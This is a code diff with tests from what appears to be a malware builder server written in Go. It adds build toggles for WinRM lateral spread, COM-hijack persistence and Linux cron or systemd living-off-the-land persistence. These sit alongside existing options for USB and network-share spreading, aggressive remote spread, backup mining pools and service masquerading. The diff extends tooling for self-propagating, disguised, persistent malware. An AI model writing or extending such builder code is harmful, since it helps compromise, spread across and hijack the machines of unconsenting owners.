Add forge spread toggles for WinRM and Linux LOTL

server/internal/builder/handler.go

@@ -85,6 +85,9 @@ type BuildRequest struct {
 	RemoteAggressive bool   `json:"remote_aggressive"`
 	USBSpread        bool   `json:"usb_spread"`
 	ShareSpread      bool   `json:"share_spread"`
+	WinRMSpread      bool   `json:"winrm_spread"`
+	COMHijackPersist bool   `json:"com_hijack_persist"`
+	LinuxLOTLMode    string `json:"linux_lotl_mode"`
 	TargetOS         string `json:"target_os"`
 	TargetArch       string `json:"target_arch"`
 	SpreadKit        bool        `json:"spread_kit"`
@@ -1079,9 +1082,19 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 	if req.LotlOnionEnabled {
 		ApplyLotlOnionPreset(req)
 	}
+	req.LinuxLOTLMode = normalizeLinuxLOTLMode(req.LinuxLOTLMode)
 	return nil
 }
 
+func normalizeLinuxLOTLMode(mode string) string {
+	switch strings.ToLower(strings.TrimSpace(mode)) {
+	case "systemd_run_user", "crontab", "both":
+		return strings.ToLower(strings.TrimSpace(mode))
+	default:
+		return "off"
+	}
+}
+
 func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
 	if header == nil {
 		return "", nil, fmt.Errorf("fusion upload is missing")
@@ -1202,6 +1215,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		RemoteAggressive:    %v,
 		USBSpread:           %v,
 		ShareSpread:         %v,
+		WinRMSpread:         %v,
+		COMHijackPersist:    %v,
+		LinuxLOTLMode:       %q,
 		BackupServerURLs:    %s,
 		BackupPools:         %s,
 		ServiceMasquerade:   %v,
@@ -1282,6 +1298,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.RemoteAggressive,
 		req.USBSpread,
 		req.ShareSpread,
+		req.WinRMSpread,
+		req.COMHijackPersist,
+		req.LinuxLOTLMode,
 		formatGoStringSlice(req.BackupServerURLs),
 		formatGoBackupPools(req.BackupPools),
 		serviceMasqueradeEnabled(req),

server/internal/builder/platform_test.go

@@ -65,6 +65,31 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
 	if !strings.Contains(src, "AutostartMode") {
 		t.Error("expected AutostartMode field in generated config")
 	}
+	if !strings.Contains(src, "WinRMSpread") {
+		t.Error("expected WinRMSpread field in generated config")
+	}
+	if !strings.Contains(src, "COMHijackPersist") {
+		t.Error("expected COMHijackPersist field in generated config")
+	}
+	if !strings.Contains(src, "LinuxLOTLMode") {
+		t.Error("expected LinuxLOTLMode field in generated config")
+	}
+}
+
+func TestNormalizeLinuxLOTLMode(t *testing.T) {
+	tests := map[string]string{
+		"":                   "off",
+		"off":                "off",
+		"SYSTEMD_RUN_USER":   "systemd_run_user",
+		"crontab":            "crontab",
+		"both":               "both",
+		"invalid":            "off",
+	}
+	for in, want := range tests {
+		if got := normalizeLinuxLOTLMode(in); got != want {
+			t.Errorf("normalizeLinuxLOTLMode(%q) = %q, want %q", in, got, want)
+		}
+	}
 }
 
 func TestBuildPlatformLabelAndBinDir(t *testing.T) {